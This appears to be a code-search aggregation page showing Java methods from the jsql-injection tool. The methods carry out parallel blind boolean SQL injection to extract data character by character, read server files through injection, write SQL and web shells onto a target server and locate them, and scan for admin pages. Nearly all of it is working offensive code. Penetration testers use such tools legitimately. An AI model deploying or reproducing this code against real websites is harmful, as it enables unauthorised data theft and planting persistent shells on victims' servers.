use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.
the class AbstractInjectionBoolean method inject.
/**
* Process the whole blind injection, character by character, bit by bit.
* @param inj SQL query
* @param suspendable Action a user can stop
* @return Final string: SQLiABCDEF...
* @throws StoppedByUserSlidingException
*/
public String inject(String inj, AbstractSuspendable<String> suspendable) throws StoppedByUserSlidingException {
/**
* List of the characters, each one represented by an array of 8 bits
* e.g SQLi: bytes[0] => 01010011:S, bytes[1] => 01010001:Q ...
*/
List<char[]> bytes = new ArrayList<>();
// Cursor for current character position
int indexCharacter = 0;
// Parallelize the URL requests
ExecutorService taskExecutor = Executors.newFixedThreadPool(150, new ThreadFactoryCallable("CallableAbstractBlind"));
CompletionService<T> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
// Send the first binary question: is the SQL result empty?
taskCompletionService.submit(this.getCallable(inj, 0, IS_TESTING_LENGTH));
// Increment the number of active tasks
int submittedTasks = 1;
int countAsciiCode255 = 0;
/*
* Process the job until there is no more active task,
* in other word until all HTTP requests are done
*/
while (submittedTasks > 0) {
if (suspendable.isSuspended()) {
taskExecutor.shutdown();
// Await for termination
boolean isTerminated = false;
try {
isTerminated = taskExecutor.awaitTermination(0, TimeUnit.SECONDS);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage(), e);
Thread.currentThread().interrupt();
}
if (!isTerminated) {
// awaitTermination timed out, interrupt everything
taskExecutor.shutdownNow();
}
// TODO Get current progress and display
StoppedByUserSlidingException e = new StoppedByUserSlidingException();
StringBuilder result = new StringBuilder();
for (char[] c : bytes) {
try {
int charCode = Integer.parseInt(new String(c), 2);
String str = Character.toString((char) charCode);
result.append(str);
} catch (NumberFormatException err) {
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
e.setSlidingWindowAllRows(result.toString());
throw e;
}
try {
// The URL call is done, bring back the finished task
T currentCallable = taskCompletionService.take().get();
// One task has just ended, decrease active tasks by 1
submittedTasks--;
/*
* If SQL result is not empty, then add a new unknown character,
* and define a new array of 8 undefined bit.
* Then add a new length verification, and all 8 bits
* requests for that new character.
*/
if (currentCallable.isTestingLength()) {
if (currentCallable.isTrue()) {
indexCharacter++;
// New undefined bits of the next character
bytes.add(new char[] { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' });
// Test if it's the end of the line
taskCompletionService.submit(this.getCallable(inj, indexCharacter, IS_TESTING_LENGTH));
// Test the 8 bits for the next character, save its position and current bit for later
for (int bit : new int[] { 1, 2, 4, 8, 16, 32, 64, 128 }) {
taskCompletionService.submit(this.getCallable(inj, indexCharacter, bit));
}
// Add all 9 new tasks
submittedTasks += 9;
}
/*
* Process the url that has just checked a bit,
* Retrieve the bits for that character, and
* change the bit from undefined to 0 or 1
*/
} else {
// The bits linked to the url
char[] codeAsciiInBinary = bytes.get(currentCallable.getCurrentIndex() - 1);
// Define the bit
codeAsciiInBinary[(int) (8 - (Math.log(2) + Math.log(currentCallable.getCurrentBit())) / Math.log(2))] = currentCallable.isTrue() ? '1' : '0';
/*
* Inform the View if a array of bits is complete, else nothing #Need fix
*/
try {
int codeAscii = Integer.parseInt(new String(codeAsciiInBinary), 2);
String charText = Character.toString((char) codeAscii);
if (codeAscii == 255 || codeAscii == 0) {
if (submittedTasks != 0 && countAsciiCode255 > 9 && (countAsciiCode255 * 100 / submittedTasks) > 50) {
LOGGER.warn("Boolean false positives spotted, stopping...");
break;
}
countAsciiCode255++;
}
Request interaction = new Request();
interaction.setMessage(Interaction.MESSAGE_BINARY);
interaction.setParameters(new String(codeAsciiInBinary) + "=" + charText.replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
MediatorModel.model().sendToViews(interaction);
} catch (NumberFormatException err) {
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error(e.getMessage(), e);
}
}
// End the job
try {
taskExecutor.shutdown();
taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage(), e);
Thread.currentThread().interrupt();
}
// Build the complete final string from array of bits
StringBuilder result = new StringBuilder();
for (char[] c : bytes) {
try {
int charCode = Integer.parseInt(new String(c), 2);
String str = Character.toString((char) charCode);
result.append(str);
} catch (NumberFormatException err) {
// In case of too much False positives
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
return result.toString();
}
use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.
the class RessourceAccess method readFile.
/**
* Attempt to read files in parallel by their path from the website using injection.
* Reading file needs a FILE right on the server.
* The user can interrupt the process at any time.
* @param pathsFiles List of file paths to read
* @throws JSqlException when an error occurs during injection
* @throws InterruptedException if the current thread was interrupted while waiting
* @throws ExecutionException if the computation threw an exception
*/
public static void readFile(List<ItemList> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
int countFileFound = 0;
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableReadFile"));
CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
for (ItemList pathFile : pathsFiles) {
CallableFile callableFile = new CallableFile(pathFile.toString());
taskCompletionService.submit(callableFile);
RessourceAccess.callablesReadFile.add(callableFile);
}
List<String> duplicate = new ArrayList<>();
int submittedTasks = pathsFiles.size();
int tasksHandled;
for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchFileStopped; tasksHandled++) {
CallableFile currentCallable = taskCompletionService.take().get();
if (!"".equals(currentCallable.getSourceFile())) {
String name = currentCallable.getPathFile().substring(currentCallable.getPathFile().lastIndexOf('/') + 1, currentCallable.getPathFile().length());
String content = currentCallable.getSourceFile();
String path = currentCallable.getPathFile();
Request request = new Request();
request.setMessage(Interaction.CREATE_FILE_TAB);
request.setParameters(name, content, path);
MediatorModel.model().sendToViews(request);
if (!duplicate.contains(path.replace(name, ""))) {
LOGGER.info("Shell might be possible in folder " + path.replace(name, ""));
}
duplicate.add(path.replace(name, ""));
countFileFound++;
}
}
// Force ongoing suspendables to stop immediately
for (CallableFile callableReadFile : RessourceAccess.callablesReadFile) {
callableReadFile.getSuspendableReadFile().stop();
}
RessourceAccess.callablesReadFile.clear();
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
RessourceAccess.isSearchFileStopped = false;
String result = "Found " + countFileFound + " file" + (countFileFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " files checked";
if (countFileFound > 0) {
LOGGER.debug(result);
} else {
LOGGER.warn(result);
}
Request request = new Request();
request.setMessage(Interaction.END_FILE_SEARCH);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.
the class RessourceAccess method createSqlShell.
/**
* Create SQL shell on the server. Override user name and password eventually.
* @param pathShell Script to create on the server
* @param url URL for the script (used for url rewriting)
* @param username User name for current database
* @param password User password for current database
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.sql").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_SQLSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_SQLSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("SQL payload created into \"" + pathShellFixed + FILENAME_SQLSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateSqlShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_SQLSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking SQL shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_SQLSHELL, ""), urlSuccess, username, password);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to SQL payload not found");
}
} else {
throw new JSqlException("Incorrect SQL payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.
the class RessourceAccess method createAdminPages.
/**
* Check if every page in the list responds 200 Success.
* @param urlInjection
* @param pageNames List of admin pages ot test
* @throws InterruptedException
*/
public static void createAdminPages(String urlInjection, List<ItemList> pageNames) throws InterruptedException {
String urlWithoutProtocol = urlInjection.replaceAll("^https?://[^/]*", "");
String urlProtocol = urlInjection.replace(urlWithoutProtocol, "");
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableGetAdminPage"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
for (ItemList pageName : pageNames) {
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + pageName.toString()));
}
}
int nbAdminPagesFound = 0;
int submittedTasks = directoryNames.size() * pageNames.size();
int tasksHandled;
for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchAdminStopped; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
Request request = new Request();
request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
request.setParameters(currentCallable.getUrl());
MediatorModel.model().sendToViews(request);
nbAdminPagesFound++;
LOGGER.debug("Found admin page: " + currentCallable.getUrl());
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Admin pages", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
RessourceAccess.isSearchAdminStopped = false;
String result = "Found " + nbAdminPagesFound + " admin page" + (nbAdminPagesFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " pages checked";
if (nbAdminPagesFound > 0) {
LOGGER.debug(result);
} else {
LOGGER.warn(result);
}
Request request = new Request();
request.setMessage(Interaction.END_ADMIN_SEARCH);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.
the class RessourceAccess method createWebShell.
/**
* Create a webshell in the server.
* @param pathShell Remote path othe file
* @param url
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Web shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to Web payload not found");
}
} else {
throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
Aggregations